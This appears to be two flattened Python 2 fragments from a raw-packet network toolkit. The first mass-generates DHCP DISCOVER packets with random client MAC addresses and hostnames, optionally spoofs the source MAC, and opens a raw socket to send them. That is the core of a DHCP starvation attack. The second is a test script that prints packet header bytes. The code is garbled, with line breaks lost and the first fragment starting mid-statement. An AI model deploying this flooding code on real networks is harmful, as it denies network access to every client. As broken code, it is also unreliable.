print " Your MAC address is not spoofed!" eth = Ethernet_raw() dhcp = DHCP_raw() while count < count_max: if args.notspoofmac: SRC_MAC = current_mac_address else: SRC_MAC = eth.get_mac_for_dhcp_discover() CLIENT_MAC = eth.get_random_mac() HOST_NAME = Base.make_random_string(8) current_packet = dhcp.make_discover_packet(SRC_MAC, CLIENT_MAC, HOST_NAME) PACKETS.append(current_packet) count += 1 if count > count_percent: stdout.flush() stdout.write(" Complete: " + str(index_percent + 1) + "% \r") index_percent += 1 count_percent = (count_max / 100) * index_percent NUMBER_OF_PACKETS = int(args.packets) NUMBER_OF_ITERATIONS = int(args.iterations) SOCK = socket(AF_PACKET, SOCK_RAW) SOCK.bind((current_network_interface, 0))
from base import Base from network import Ethernet_raw, IP_raw, UDP_raw, DHCP_raw Base.check_platform() Base.check_user() Base.netiface_selection() eth = Ethernet_raw() ip = IP_raw() udp = UDP_raw() dhcp = DHCP_raw() print eth.get_random_mac() print ":".join("{:02x}".format(ord(c)) for c in eth.make_header("aa:aa:aa:aa:aa:aa", "bb:bb:bb:bb:bb:bb", 2048)) print ip.get_random_ip() print ":".join("{:02x}".format(ord(c)) for c in ip.make_header("127.0.0.1", "127.0.0.1", 0, 8, 1)) print ":".join("{:02x}".format(ord(c)) for c in udp.make_header(12345, 53, 0)) print ":".join("{:02x}".format(ord(c)) for c in dhcp.make_discover_packet("aa:aa:aa:aa:aa:aa", "bb:bb:bb:bb:bb:bb", "10.10.10.10", "test"))